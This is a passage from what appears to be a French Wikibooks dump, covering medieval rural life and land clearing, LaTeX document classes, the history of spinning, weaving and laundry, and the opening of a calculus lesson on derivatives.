échanges commerciaux vers l'an 1000, des productions spécialisées s'orientent nettement vers la spéculation et reçoivent des investissements importants. ==L'élevage== Pendant le Haut Moyen Âge, la consommation de viande était relativement importante<ref>Article "céréaliculture" du ''Dictionnaire du Moyen Âge'', pages 239-240.</ref>. Fernand Braudel écrivait que ''"Des siècles durant, au Moyen Âge, elle (L'Europe) a connu des tables surchargées de viandes et des consommations à la limite du possible"''<ref>Fernand Braudel, ''Civilisation matérielle ...'', tome 1, page 110.</ref>. L'élevage fournissait d'autres ressources telles que le lait, le cuir, la laine et la graisse. Il permit une civilisation de l'objet au XIIIe siècle : le cuir était transformé en chaussures ; le parchemin était de la peau traitée. La laine alimentait l'industrie drapière. Les boyaux et les cornes entraient dans la fabrication d'instruments de musique. Les paysans utilisaient la force des animaux pour les travaux agricoles : bœufs et chevaux tiraient la charrue ou la herse. Ils réalisaient les corvées de charrois (transport de vin, de blé, de bois, de paille ...). Les chevaux halaient les navires sur les fleuves. Ils étaient le bien le plus précieux des chevaliers. Certains moulins utilisaient leur force de travail. L'élevage fournissait de manière indirecte des fumures pour amender les terres. ===Les animaux=== Le cheptel français était constitué de bœufs, de moutons et de porcs essentiellement. La proportion de chaque espèce dépendait des régions : dans la zone méditerranéenne, les ovicapridés l'emportaient nettement en nombre. Elle dépendait aussi de l'époque : avec les grands défrichements, la proportion des porcs tend à diminuer. La fin du Moyen Âge voit l'essor de l'élevage spéculatif. * Les bovidés : leur élevage nécessite des espaces herbagers (prés, prairies, pâturages). Après les moissons, ils broutent les restes des épis : c'est la vaine pâture. Ils sont aussi emmenés sur les terres laissées au repos (jachère) qu'ils engraissent de leur fumure. Pendant l'hiver, ils sont nourris grâce au foin. Dès le XII{{e}} siècle en Flandre, les paysans leur donnent un complément de légumineuses<ref>Samuel Leturcq, ''La vie rurale ...'', page 25.</ref>. * Les ovi-caprinés sont élevés pour leur laine, et, dans une moindre mesure pour leur viande et leur lait. Ils font l'objet d'une transhumance en montagne et leur nombre a tendance à augmenter à la fin du Moyen Âge<ref>Article "élevage" du ''Dictionnaire du Moyen Âge'', pages 472-473.</ref>. * Chaque famille élevait au moins un porc car il fournissait de la viande pour environ 70 Kg<ref>Samuel Leturcq, ''La vie rurale ...'', page 26.</ref>. Celle-ci était fumée ou salée pour la conservation. Le porcher emmenait les bêtes pour le panage en forêt, c'est-à-dire que les cochons mangeaient les glands et les faines. Mais à partir du XIIIe siècle, les animaux restent de plus en plus dans la porcherie. * Le cheval n'était pas consommé pour sa viande car l'Eglise l'interdisait<ref>Article "cheval" du ''Dictionnaire du Moyen Âge'', page 282.</ref>. Le cheval est un animal à part car il sert de monture aux aristocrates et parce qu'il est très coûteux (35 livres tournois en moyenne en France au milieu du XIV{{e}} siècle<ref>Article "cheval" du ''Dictionnaire du Moyen Âge'', page 282.</ref>). Le destrier est un cheval de guerre, le palefroi sert à la chasse. Le cheval exige une nourriture abondante et de qualité (avoine, foin). À partir du XII{{e}} siècle, son usage se répand pour tirer la charrue en France septentrionale. Grâce au collier d'épaule, il offre au paysan une puissance et une rapidité supérieures à celle du bœuf. ==Les productions alimentent l'artisanat rural== Les liens entre agriculture et artisanat sont étroits dans la France médiévale : l'agriculture fournit des matériaux indispensables à l'artisan. Le meunier réduit les céréales à l'état de farine. Le cordonnier utilise le cuir pour confectionner chaussures et vêtements. Le tavernier vend des boissons fermentées à base de céréales ou du vin. Dans l'autre sens, les paysans dépendent des produits de l'artisanat : ils se procurent divers objets en fer (versoir, fers à cheval ...) auprès du forgeron. Les vignerons ont besoin de tonneaux et de hottes. Les activités liées au textile connaissent un formidable essor au Moyen Âge classique et se localisent à la campagne. =Bois et forêts= Les espaces forestiers sont le plus souvent la propriété éminente du seigneur : le bois fait partie de la réserve et le maître s'y réserve des droits. Avec les grands défrichements, la pression se fait de plus en plus intense sur cet espace inculte mais utile, si bien que la forêt se ferme à partir du XII{{e}} siècle<ref>Article "forêt" du ''Dictionnaire du Moyen Âge'', page 546.</ref> La forêt est d'abord une source de bois : bois d'œuvre, de menuiserie, de charpente, il sert à la construction des maisons. Sur les chantiers des cathédrales ou dans les arsenaux, son usage est considérable. Le bois représente un combustible et son charbon alimente les forges. Enfin, la plupart des instruments agraires utilisent le bois. Il est indispensable à la fabrication des tonneaux. La forêt offre une source de nourriture complémentaire, surtout en période de soudure : les porcs sont emmenés au panage pendant lequel ils se nourrissent de glands et de faînes. Les hommes y collectent du miel, des baies, des champignons et des plantes curatives. Enfin, la forêt est le cadre de la chasse et du braconnage. C'est pourquoi elle est entretenue par un personnel qualifié et dévoué au seigneur. Elle représentait un enjeu entre la communauté rurale et le seigneur qui imposait des droits d'usage et une réglementation précise. =Techniques agraires= ==Rotation des cultures== La rotation des cultures est utiliser pour pallier les insuffisances de l'amendement<ref>Samuel Leturcq, ''La vie rurale ...'', page 38.</ref>. Elle consiste à faire se succéder sur une même parcelle différentes cultures selon les années, afin de ne pas épuiser la fertilité du sol. Exemple : : année 1 : céréale d'hiver : année 2 : céréale de printemps : année 3 : jachère A la fin du cycle, on retourne en année 1 et ainsi de suite. La rotation biennale se pratique sur deux ans ; la rotation triennale sur trois. Il existait des rotations sur 4 ans ou plus. Il a souvent été avancé que la France du Nord pratiquait la rotation triennale alors que le Sud était le domaine du biennal ; parallèlement, on a souvent dit la supériorité technologique du nord sur le sud. Il a pourtant été démontré que les Alpes du Sud comportaient des parcelles cultivées selon un cycle de trois ans<ref>Samuel Leturcq, ''La vie rurale ...'', page 42.</ref>. La rotation biennale implique des récoltes limitées : le paysan ne fait qu'une récolte sur deux ans. La rotation triennale représente un réel avantage si elle est pratiquée sur un terroir agrandi. Elle permet une récolte de blé et une récolte d'avoine (par exemple) sur trois ans. Les céréales de printemps offrent un rendement moindre que celles d'hiver, en partie parce qu'elles sont plus fragiles : par conséquent, le système triennal n'offre qu'une récolte et demie en moyenne sur trois ans<ref>Samuel Leturcq, ''La vie rurale ...'', page 44.</ref>. L'avoine engraisse surtout le bétail : la rotation triennale augmente donc la productivité de l'élevage et la quantité de fumure. Les semailles du printemps interviennent à un moment de l'année où les paysans n'ont pratiquement rien à faire dans les champs. Le climat méditerranéen et la pauvreté pédologique entravaient l'épanouissement de la rotation triennale (printemps relativement secs défavorables à l'avoine, au millet et aux légumineuses). Le réel progrès est la culture de plantes légumineuses sur les terres en jachère à partir du XIIIe siècle : la Flandre disposait déjà de nombreuses cultures dérobées<ref>Samuel Leturcq, ''La vie rurale ...'', page 46.</ref>. Elles fixent l'azote et évite l'appauvrissement du sol. De plus, elles nourrissent les animaux. Dans tous les cycles intervient une année de jachère au cours de laquelle la parcelle n'est pas cultivée afin que sa fertilité se reconstitue naturellement. En réalité, la jachère n'est pas une terre laissée à l'abandon : après les récoltes estivales, elle était parcourue par le bétail qui la nettoyait des derniers épis et chaumes. Au cours de la vaine pâture, les animaux déposaient leurs déjections qui enrichissaient le sol. Plus tard dans l'année, la jachère subissait un labourage intensif afin de nettoyer et d'aérer la parcelle. On ajoutait de la marne et des fumures. Enfin, le hersage préparait la terre pour le cycle suivant. La rotation des cultures étaient pratiquée dans tout l'Occident médiéval selon des modalités très diverses<ref>Samuel Leturcq, ''La vie rurale ...'', page 39.</ref>. ==Outils== =La vie des paysans= ==Un travail cyclique== Le travail des paysans est d'une grande variété et n'est pas le même selon les saisons. La période creuse (entre novembre et mars) s'oppose aux grands travaux agricoles des autres mois. Les occupations étaient conditionnées par le climat et réglées par le temps liturgique et les contraintes communautaires. * janvier : le mois de Janus, dieu à deux visages qui regarde l'un vers l'année passée, l'autre vers l'année avenir. Les paysans et les bêtes sont rentrés au chaud * février : taille et bêchage de la vigne * mars : labour et semaille * avril * mai : semaille du millet * juin : fenaison à la faux ; tonte des moutons * juillet : moissons à la faucille * août : moissons ; battage au fléau ; stockage * septembre : vendanges, travail dans les vergers * octobre : engraissage des porcs dans la forêt ; vendanges ; labours, semailles des céréales d'hiver * novembre : préparation du bois de chauffage, des réserves de nourriture pour passer l'hiver ; labours, semailles des céréales d'hiver * décembre : abbattage des porcs ==Fêtes et loisirs paysans== * Veillée en hiver * Pâques : sacrifice de l'agneau * Rogations : temps de pénitence et de bénédiction des récoltes * Feux de la saint Jean (24 juin) =Mutations des espaces ruraux= ==Haut Moyen Âge== ==Moyen Âge classique== ===Les grands défrichements=== [[Image:Tapisserie agriculture.JPG|thumb|350px|Scène de défrichement. Tapisserie de Bayeux, XIe siècle]] *Causes et chronologie La toponymie donne des signes de ces grands déboisements : «essarts» (sens général), «artigue» (Sud-Ouest de la France), «villeneuve», «sauveterre», «bordes»... Certains noms de villages se terminant par «-dorf», «-feld», «-rode» révèlent des actions de défrichements. Dans le sud de la France, les toponymes bastide, bastidons, bastidonne peuvent correspondre à des établissements fondés lors de défrichements. Pour les historiens, les sources les plus riches sont les textes (par exemple les chartes de défrichements), les apports de la paléobotanique, l'analyse des pollens et des charbons de bois. De grands défrichements sont attestés dès les années 950 en Flandre et en Normandie ; mais de nouvelles études montrent que dès l'époque de Charlemagne, la forêt a reculé en Occident, tout particulièrement en Catalogne. La forêt méditerranéenne a été d'autre part fortement entamée dès l’Antiquité ; toutefois, de nombreux établissements sont datés de la fin du XII{{e}} et du XIII{{e}} siècle. Il faut tenir compte du fait que l'ager, les terres cultivées, peut reculer rapidement en cas d'abandon (en l'espace d'une génération). En ce cas, l'avancée de la forêt ou son recul dépendent généralement de la pression démographique. Les déboisements semblent se ralentir dès le milieu du XII{{e}} siècle en Normandie et dans le Haut-Poitou. Mais ce ralentissement est plus tardif dans le Bassin Parisien (1230-1250) et les plaines germaniques (vers 1340). Les principales causes des défrichements sont la forte croissance démographique des XIe-XIIIe siècles et les progrès techniques (utilisation croissante du fer).Il faut aussi noter que lorsque les défrichements battent leur plein, c'est-à-dire vers l'an mil, ceux-ci s'inscrivent dans une période où les invasions sur le territoire franc ont cessé et où les conditions climatiques se sont améliorées. Ces différents facteurs donnent aux hommes une certaine confiance en l'avenir et leurs permettent ainsi d'envisager de grandes entreprises de défrichements. Cette vision d'un futur plus propice peut être, dans une certaine mesure, à l'origine de la croissance démographique ou, du moins, en être un stimulateur. *Les types de défrichement **Élargissement de terroirs existants Ce type de défrichement est le fait d'ermites, de charbonniers et de paysans qui agissent de manière spontanée et isolée. Ce phénomène est très difficile à décrire faute de sources suffisantes. Il se pratique par grignotement progressif et régulier de la forêt, à la marge des terres cultivées. On estime cependant qu'il contribue pour une part importante aux grands défrichements. **Création de terroirs neufs À l'initiative des seigneurs et des villes (en Italie par exemple), de nouvelles terres agricoles sont mises en valeur : il faut alors couper et brûler la forêt qui souvent entoure le village. Le seigneur laïc ou ecclésiastique pourra ainsi prélever de nouvelles redevances sur les nouvelles terres. Parfois, un seigneur laïc s'associe avec un seigneur ecclésiastique (abbé, évêque) pour créer de nouveaux terroirs : ils signent un contrat de pariage ou de paréage ; Les moines, à la recherche de lieux en marge du monde « civilisé » ont été à l'origine de nombreux défrichements durant tout le Moyen Âge : dès le IXe siècle, en Auvergne, la fondation de l'abbaye de la Chaise-Dieu fait reculer la forêt avec la création de clairières. Les Cisterciens, en particulier, défrichent de nombreuses terres : les « granges » sont des systèmes d'exploitation agricole confiés au travail des frères convers, qui ne sont pas astreints aux obligations spirituelles des autres moines. Les défrichements ont aussi accompagné les opérations de colonisation en Europe : la colonisation germanique vers l'est du continent a été assurée en partie grâce aux hôtes : ce sont des paysans qui s'implantent dans une nouvelle région, auxquels le seigneur donne une terre à défricher. Le seigneur promet des avantage aux nouveaux venus, comme des redevances limitées et l'exemption des corvées. Lors de la Reconquista (reconquête chrétienne sur l'Espagne musulmane), de grands défrichements eurent lieu pour installer la nouvelle population. *Disparition totale de la forêt au Moyen Âge ? Il serait caricatural de dire que les grands défrichements des XI-XIIIe siècles ont fait complètement disparaître la forêt. En montagne, la forêt résiste mieux qu'ailleurs ; la forêt offre un complément important dans l'alimentation médiévale : on y emmène les porcs pour la glandée, on y récolte des baies, des champignons et du miel. Dès le XIIIe siècle, les seigneurs fonciers, souvent propriétaires de la forêt (réserve) réagissent et tentent de protéger la forêt. L'organisation et la réglementation des espaces forestiers se fait dès le XIIe siècle : droits de pacage, droits d’usages (ramassage du bois, chasse par exemple) sont fixés. *Les défrichements s'arrêtent ... Car la forêt est indispensable à la vie quotidienne ; on s'est rendu compte que certaines terres défrichées sont médiocres et donnent de faibles rendements. Avec les crises du XIVe siècle (déclin démographique provoqué par la Peste noire et la Guerre de Cent Ans), la forêt regagne du terrain, surtout en Europe orientale. Les grands défrichements du Moyen Âge central restent un des symboles de l’expansion de l’Occident (colonisation germanique, Espagne). ===De nouveaux paysages=== **L'incastellamento Mis en évidence par Pierre Toubert, d’abord dans le Latium puis en Languedoc, il désigne l'habitat perché méditerranéen autour d'un château et d'une église. Les terres cultivées s'organisent en auréoles concentriques autour du village. **Genèse de l’openfield au nord-ouest de l'Europe Elle a lieu à partir du XIe siècle, et prend la forme de champs ouverts au XIIIe siècle, disposés autour d'un village central. L'assolement triennal et un parcellaire particulier s'impose un peu partout dans cette région. **Le bocage Dans des régions à sols pauvres (îles Britanniques, Massif Armoricain, Allemagne du nord) le bocage témoigne d'un certain individualisme agraire. On y pratique surtout l'élevage. **Nouveaux villages du Sud-Ouest français De nombreux établissements sont datés du XIIIe siècle ; on les appelle : sauvetés, castelnaux, bastides ==Fin du Moyen Âge== =Références= <references/> =Bibliographie= *Samuel Leturcq, ''La vie rurale en France au Moyen Âge'', Paris, Colin, 2004. *Monique Bourin-Derruau, ''Temps d'équilibres, temps de ruptures'', Paris, éditions du Seuil, 1990. *Claude Gauvard, Alain de Libera, Michel Zink (dir.), ''Dictionnaire du Moyen Âge'', Paris, Presses Universitaires de France, 2002 : articles "famine", "céréaliculture", "élevage" ... *Fernand Braudel, ''Civilisation matérielle, économie et capitalisme (XVe - XVIIIe siècles)'', trois tomes, Paris, Armand Colin (livre de poche), 1979 Programmation LaTeX Les classes 7873 42473 2006-05-16T10:45:51Z Cdang 1202 {{LaTeX}} La première chose que vous devez faire quand vous éditez un document LaTeX, c'est de lui préciser sa classe, c'est à dire le type de document que vous souhaitez réaliser. Il existe plusieurs classes, qui sont spécifiées par la commande <tt>\documentclass[options]{classe}</tt> * Les différentes classes disponibles par défaut sont : ** <tt>article</tt> : pour des articles destinés à la publication et ne contenant que quelques pages. ** <tt>report</tt> : pour des documents un peu plus longs contenant plusieurs chapitres, comme des mémoires de thèse. ** <tt>book</tt> : pour de véritables livres, de plusieurs centaines de pages. ** <tt>slides</tt> : pour faire des présentations sur transparents. * Il existe aussi d'autres classes moins répandues : ** <tt>beamer</tt> : pour faire des présentations utilisant le magnifique package <tt>beamer</tt> ** <tt>lettre</tt> : écrit à l'observatoire de Genève pour faire des lettres au format français. {{LaTeX-nav}} Fils et tissus 7874 38856 2006-03-26T09:47:15Z 83.115.109.83 '''Fils et tissus''' Pour réaliser des vêtements, il ne suffit pas de posséder des fibres textiles. Sauf dans la civilisation sumérienne (il y a plus de 5000 ans) où les pagnes représentés sur les sculptures semblent constitués de grosses mèches de laine, on commence par transformer les textiles en fil, puis en tissu afin d’en fabriquer des vêtements. == '''Le filage''' == C’est à la main qu’on fabriqua longtemps le fil. Au bout d’un bâton, appelé '''quenouille''', on plaçait une touffe de laine, de coton, de filasse de lin ou de chanvre, et l’on tirait progressivement une fine mèche que l’on tordait entre le pouce et l’index pour former un fil solide et régulier que l’on enroulait ensuite sur un bâtonnet, appelé '''fuseau'''. On représente souvent les bergères d’autrefois filant la laine tout en surveillant leur troupeau, mais elles n’étaient pas les seules à filer. Dans certains pays, même les hommes filent parfois encore le coton à la main. Au XVIe siècle, vint s’ajouter le '''rouet''' qui permettait d’embobiner plus rapidement et plus régulièrement le fil. Une pédale faisait tourner une roue qui, grâce à une courroie, assurait la rotation de la bobine. == '''Le filage à la machine''' == C’est au milieu du XVIIIe siècle que des Anglais créèrent les premières machines à filer, d’abord actionnées par l’énergie des moulins à eau, puis par des machines à vapeur. Au XIXe siècle, toutes les '''filatures''' étaient d’énormes ateliers où chaque ouvrier ou ouvrière surveillait plusieurs machines, notamment pour rattacher le fil s’il venait à se rompre ou pour changer par une bobine vide celle qui était pleine. Si l’on observe à la loupe un fil de tissu ou de tricot, on s’aperçoit qu’il est constitué de multiples fibres tordues ensemble comme dans une corde. Dans les textiles mélangés, le même fil réunit généralement des fibres différentes. On procède ainsi, soit pour abaisser le prix de revient (la laine coûte plus cher que la fibranne qu’on y ajoute), soit pour bénéficier des avantages de chaque matière (le lin se froisse moins si l’on y ajoute du coton ; la laine est plus douce et plus chaude, mais moins résistante qu’une fibre synthétique ajoutée). == '''Le tissage à la main''' == Il est probable que c’est le tressage qui donna l’idée de faire croiser des fils pour constituer une bande solide. A l’origine, les bandes tissées étaient étroites et il existe encore dans des villages sans industrie, en Afrique par exemple, des métiers à tisser ne permettant de réaliser que des bandes de 20 ou 30 cm de large que l’on coud ensuite pour en faire des pièces de tissu plus grandes. Pour bien comprendre le principe du tissage, on peut fabriquer soi-même un petit '''métier à tisser''' avec un cadre de bois. Sur deux côtés opposés, on plante des petits clous sans tête tous les demi-centimètres. Ensuite on fait des allers et retours avec un long fil pour constituer ce qu’on appelle la '''chaîne''' du futur tissu. Puis, avec un autre fil qu’on appelle la '''trame''', on croise perpendiculairement en passant tantôt au-dessus, tantôt au-dessous de chaque fil de chaîne rencontré et l’on fait l’inverse au retour. On tasse bien les fils de trame pour que le tissu soit bien serré. Ce tissage régulier s’appelle le point de toile. Très tôt, cette façon de passer au-dessus ou au-dessous du fil de chaîne suivant a été facilitée sur les grands métiers à tisser où chaque fil de chaîne était passé auparavant dans le maillon d’une fine tringle de fer qui permettait de soulever ensemble tous les fils de chaîne sous lesquels la fil de trame devait passer, puis au retour tous les autres. Pour passer plus facilement, la bobine du fil de trame était placée dans une navette pointue à ses deux extrémités comme un petit bateau. Mais, au lieu de lever un fil sur deux, on peut aussi alterner différemment pour obtenir d’autres types de tissu, comme le sergé, le satin ou le damassé. Pour obtenir du velours ou du tissu éponge (comme les serviettes de toilette), il faut deux séries de chaînes sur le même métier. Ensuite, selon ce qu’on désire, on laisse les bouclettes ou on les rase, notamment pour le velours. Avec plusieurs navettes de fils de couleurs différentes, on peut créer des dessins colorés variés. Si les fils de chaîne forment eux-mêmes des séries de bandes de couleur, on pourra obtenir des tissus à carreaux, des écossais ou différentes sortes de dessins. == '''Le tissage mécanique''' == Au début du XIXe siècle, pour obtenir plus facilement des dessins en plusieurs couleurs, le mécanicien français Jacquard inventa un procédé de cartes perforées permettant de programmer à l’avance quels fils de chaîne et quelle navette de fil coloré devaient se croiser. C’était une étape nouvelle vers la mécanisation du tissage. Jusqu’au début du XXe siècle, il resta néanmoins des ouvriers '''tisserands''' qui travaillaient chez eux avec un métier à main. Le négociant en tissu leur apportait le fil nécessaire et revenait chercher les pièces de tissu. Mais, progressivement, le '''tissage''' se faisait dans d’énormes usines reconnaissables de loin par la haute cheminée de leurs machines à vapeur, même plus tard lorsque tout fonctionnait avec le courant électrique. == '''Le blanchiment du tissu''' == On pouvait certes se contenter du tissu '''écru''', c’est-à-dire d’un beige plus ou moins clair, car les fibres naturelles n’étaient pas blanches. Pour obtenir ce blanchiment, il fallait dégraisser la laine. Au début, on n’avait rien trouvé de mieux que l’urine fermentée (inutile de décrire l’odeur des ateliers de dégraissage !). Pour le lin, le coton ou le chanvre, il fallait les lessiver. C’est en découvrant l’effet des cendres de bois sur la graisse des chaudrons qu’on découvrit l’effet moussant de ce qu’on appela le savon. Pour blanchir ensuite le tissu, rien n’était plus efficace que les rayons de soleil et, longtemps, on étendit sur les prés les toiles que l’on voulait blanchir. == '''La teinture''' == Après le blanchiment, on pouvait procéder, si on le voulait, à la teinture du tissu ou des écheveaux de fils destinés au tissage. Il n’était pas très difficile de trouver des plantes fournissant de la couleur (on peut le vérifier avec la betterave rouge ou les épinards). Le vrai problème est d’obtenir que les fibres textiles fixent cette couleur et ne la perdent pas au premier rinçage. Il faut donc procéder auparavant au '''mordançage''', c’est-à-dire au trempage dans un bain qui imprègne les fibres d’un produit qui fixera la couleur. Selon les teintures utilisées, le bain de mordançage est différent. Au début, on se contenta d’écorces ou de plantes sauvages (pissenlit, camomille, bruyère, sureau). Dans l’Antiquité, la couleur pourpre était tirée d’un coquillage marin, le murex. Puis, on cultiva les plantes pour leur qualité tinctoriale : le genêt des teinturiers, le pastel, la garance, puis des colorants naturels importés de pays chauds, comme l’indigo et le cachou. Une variété de cochenille, puceron des pays chauds, fournissait le rouge carmin. Dans les villes, les ateliers de teinturerie s’établissaient généralement près d’une petite rivière, d’abord pour y puiser l’eau nécessaire pour les bains, ensuite pour y déverser les eaux usées de trempage et de rinçage. Les voisins, pas très ravis, pouvaient savoir quelle couleur le teinturier avait employée, ce jour-là. Comme on ne pouvait pas mettre les tissus à sécher sur les près, le grenier d’étendage, au dernier étage des teintureries, était ouvert par de larges baies dont les auvents de bois à claire-voie laissaient passer les courants d’air et non la pluie. Au XIXe siècle, les progrès de la chimie permirent de créer de multiples colorants. Toutes les possibilités de couleurs étaient désormais possibles. On pouvait teindre en usine avant ou après le tissage. == '''Les tissus imprimés''' == Les '''indiennes''', étoffes fabriquées en Orient, avaient été, grâce à des clichés de bois gravé, marquées avant d’être teintes d’un produit qui empêchait la teinture de tenir à l’emplacement des dessins. On utilisa ensuite le même procédé pour des tissus foncés, appelés dégravés, qui restaient mouchetés de petits dessins blancs où la teinture n’avait pas pris. Pour obtenir des tissus fleuris, comme la cretonne provençale, on imprimait le tissu à la main avec des clichés de bois encrés de couleurs différentes. Au milieu de XVIIIe siècle, le Français Oberkampf installa, à Jouy-en-Josas, une fabrique de tissus de coton imprimés de paysages avec personnages en une seule couleur, grâce à des gravures sur cuivre. D’où leur nom de '''toile de Jouy'''. Là encore, le machinisme permit d’imprimer mécaniquement tous les dessins désirés. == '''Le tricot''' == Au lieu de croiser des fils pour faire du tissu, on eut très tôt l’idée de travailler un fil, maille après maille, avec un crochet ou des aiguilles à tricoter (évidemment beaucoup plus grosses et plus longues que celles qui servent à la couture). On fabriquait des bonnets, des chaussettes et des gants. Cette activité était, au début, le travail des femmes qui ne devaient jamais rester les mains inoccupées, lorsqu’elles surveillaient les bêtes au dehors, le bébé à l’intérieur ou la marmite qui cuisait dans la cheminée. Mais, pour réaliser des bas de plus en plus fins, furent inventés des métiers mécaniques de '''bonneterie''' (ce mot rappelant le but originel du tricot). Des usines fabriquèrent en série des bas, des chaussettes. L’inconvénient du tricot simple est qu’une maille qui craque peut provoquer le détricotage de l’ensemble. D’où l’idée d’entremêler les fils du tricot de façon à les rendre '''indémaillables'''. Comme les mailles sont plus élastiques que les tissus, on réalisa également des sous-vêtements et des tricots par ce procédé mécanique. Le machinisme n’a pourtant pas tué le tricot à la main qui continue à se pratiquer à la maison. Cela permet de réaliser à bon marché des chandails et des gilets aux dessins parfois compliqués. Au XXe siècle, on proposa des '''machines à tricoter''' familiales, mais elles ne connurent pas la vogue espérée par leurs fabricants. De nombreuses personnes préfèrent encore les aiguilles à tricoter moins encombrantes. == '''Rubans, broderies et dentelles''' == Les '''rubans''' sont des bandes tissées très étroites. Les plus chers étaient ornés de dessins, parfois réalisés en fil d’argent ou d’or. Des '''broderies''' étaient réalisées à l’aiguille pour orner les vêtements. Ce sont celles qui décoraient le bord des tissus qui donnèrent sans doute l’idée de les prolonger par un motif ajouré : la '''dentelle'''. Les premières étaient créées à l’aiguille, parfois pour relier deux morceaux de fin tissu par des entrelacs de fils plus ou moins compliqués. Puis, certaines dentelles furent tressées sur un coussinet. La dentellière y entrecroisait les fils de plusieurs petits fuseaux pour former des dessins, parfois très élaborés, qu’elle fixait au coussin par des aiguilles. On se doute que ce long travail se vendait très cher. Si la dentelle à la main n’a pas disparu, elle est concurrencée par la dentelle mécanique, réalisée beaucoup plus rapidement. == '''Les accessoires de couture''' == Pour attacher ou fermer les vêtements, on inventa très tôt les '''boutons''' fabriqués en diverses matières, notamment en os ou en bois. La plus recherchée fut la nacre de certains coquillages. L’industrie permit ensuite d’inventer des matières différentes qui remplacèrent généralement la nacre. Pour remplacer les cordelières et les lacets de fermeture, on inventa des '''crochets''' plats et, plus tard, des '''boutons à pression''' dont la partie mâle reste accrochée à la partie femelle par un petit ressort. Plus récemment, fut créée la '''fermeture à glissière''' (qu’on appela longtemps “ fermeture-éclair ” qui était la marque d’un des fabricant). En s’inpirant des fleurs de chardon ou de bardane, dont les minuscules crochets restent accrochés à ce qui les frôle, on inventa au milieu du XXe siècle la fermeture '''velcro''' (abréviation de velours et crochets) qui s’accroche rapidement. == '''L’entretien du linge''' == Autrefois, il n’existait pas d’autre possibilité que d’aller à la rivière pour mouiller le linge, de le savonner, à l’origine avec des cendres de bois, de le battre d’abord avec les pieds nus ou avec un battoir de bois, puis de le rincer, le tordre pour l’essorer et l’étendre sur l’herbe pour le faire sécher. Dans le chant n° VI de ''L’Odyssée'', le poète grec Homère décrit comment Nausicaa et ses compagnes vont laver leur linge au bord du fleuve et découvrent avec frayeur Ulysse sauvé de son naufrage. Actuellement, dans le monde, il n’existe pas d’autre solution que le lavage à la rivière pour des populations privées de tout progrès technique. Dans les villages, furent créés des '''lavoirs''' publics, alimentés en eau, où l’on pouvait aller laver son linge. Dans les villes plus importantes, on avait même ajouté des chaudières permettant d’obtenir de l’eau chaude. Pour laver le linge chez soi, le principal problème restait l’approvisionnement en eau courante à l’intérieur des maisons. Longtemps, il fallut aller aux bornes fontaines pour y remplir des seaux. L’eau courante au robinet se généralisa en France à la fin du XIXe siècle dans les grandes villes et seulement à la moitié du XXe siècle dans les campagnes. Quand les maisons possédaient l’eau courante, on pouvait y laver le linge, parfois dans une pièce spéciale, appelée '''buanderie''', où l’on ne craignait pas de répandre de l’eau. On faisait chauffer la lessive sur un petit poêle à bois, au charbon ou plus tard au gaz. Un progrès fut la création de la lessiveuse en tôle galvanisée avec un tube central où montait l’eau bouillante qui retombait sur le linge. Mais il manquait l’agitation du linge qui aurait évité l’obligation de le brosser à la main. Les premières '''machines à laver''' étaient de simples baquets comportant sous leur couvercle un batteur de bois actionné avec une manivelle. Un autre système était un cylindre métallique perforé que l’on faisait tourner à la manivelle, dans le récipient de lessive, chauffé par dessous. Le tout fut ensuite rendu mécanique grâce à un moteur électrique. L’essorage se faisait depuis l’origine en tordant à la main le linge lavé et rincé, puis apparut l’'''essoreuse''' à deux rouleaux qui, en tournant tout en pressant le linge, en chassait l’eau. Enfin, les machines à laver modernes furent totalement fermées pendant le temps de la lessive. L’eau de lessive fut d’abord chauffée au gaz, puis par une résistance électrique. Le remplissage et la vidange se font désormais par des tuyaux spéciaux qui évitent de répandre de l’eau sur le sol, ce qui permet de les intégrer dans une cuisine ou une salle de bain. On peut programmer la température selon la nature du linge à laver. Désormais, l’essorage centrifuge fait jaillir l’eau du linge en le faisant tourner à toute vitesse. Pendant longtemps le séchage nécessitait, malgré tout, un étendage en plein air ou sur des séchoirs intérieurs. Jusqu'à la création du séchoir électrique d’où le linge sort prêt au repassage. == '''Le repassage''' == Pour être bien lisse et sans faux-plis, le linge doit en effet être repassé avec un fer assez chaud. Au début, et pendant des siècles, il s’agissait d’un '''fer à repasser''' plat et assez lourd avec une poignée. On le faisait chauffer sur un poêle et l’on vérifiait près de sa joue s’il n’était pas trop chaud pour le linge délicat. Il exista au XIXe siècle des fers contenant un petit foyer de bois à l’intérieur. C’est avec le fer électrique et surtout la température réglable par thermostat que l’on pouvait désormais repasser sans risque toutes sortes de linges. Les fers à vapeur permettent de repasser plus vite, même les tissus épais. On a inventé des '''machines à repasser''' qui sont surtout utilisées par les professionnels des blanchisseries. == '''Le nettoyage à sec''' == Certains tissus ne supportent pas l’eau de lessive, même dans les machines les plus modernes. C’est pourquoi on les confie au nettoyage à sec, c’est-à-dire sans eau. Au début, ce travail se faisait dans des bains spéciaux de liquides dégraissants. Maintenant, cela se fait dans de grosses machines qui évitent les émanations de produits chimiques toxiques. Après nettoyage, on procède au repassage à la vapeur, souvent par pressage, d’où le nom anglais de “ '''pressing''' ” donné aux établissement où s’effectue ce type de nettoyage. == '''Pour en savoir plus sur le même thème''' == On peut consulter : '''Vêtements''' (pourquoi s’habille-t-on?) ; '''Textiles''' ; '''Costumes''' (leur évolution au cours des siècles) ; '''Mode sous Louis XIV''' Analyse:Dérivation 7876 38998 2006-03-27T22:00:32Z Mat B 1297 /* Interprétation mécanique */ {{En cours}} == Définition == ; Dérivée: Soit une fonction <math>f</math>, à valeurs dans <math> \mathbb{K} </math>, définie sur un voisinage de <math>x_0</math>. On note <math> \Delta x = x - x_o </math> la variation autour du point <math>x_o</math> et <math> \Delta f = f(x) - f(x_o) </math> la variation correspondante de la fonction <math>f</math>. ; Définition 1: On dit qu'une fonction <math>f</math> est dérivable en <math>x_0</math> si la limite<br/> <center><math>\lim_{x \to x_0}\frac{\Delta f}{\Delta x}\, = \lim_{x \to x_0}\frac{f(x) - f(x_0)}{x - x_0}\, = \lim_{h \to 0}\frac{f(x_0 + h) - f(x_0)}{h}\, </math></center> : existe. Dans ce cas, on appelle cette limite dérivée de <math> f </math> en <math> x_0 </math> et on la note <math>f^\prime(x_0)</math>. ; Définition 2: On dit que <math>f</math> est dérivable sur un intervalle <math> I </math> si elle est dérivable en tout point de <math> I </math> et on note <math>f^\prime</math> la fonction dérivée <math>x \mapsto f^\prime (x)</math>. La dérivée de <math>f^\prime</math>, si elle existe, est notée <math>f^{\prime \prime}</math>, et par récurrence, on définit la dérivée nième de <math>f</math>, notée <math>f^{(n)}</math>.<br/><br/> : Attention à ne pas confondre avec la puissance nième de <math>f</math>, notée <math>f^n</math>, avec la dérivée <math>n</math>ième notée <math>f^{(n)}</math>. <br/> La définition suivante 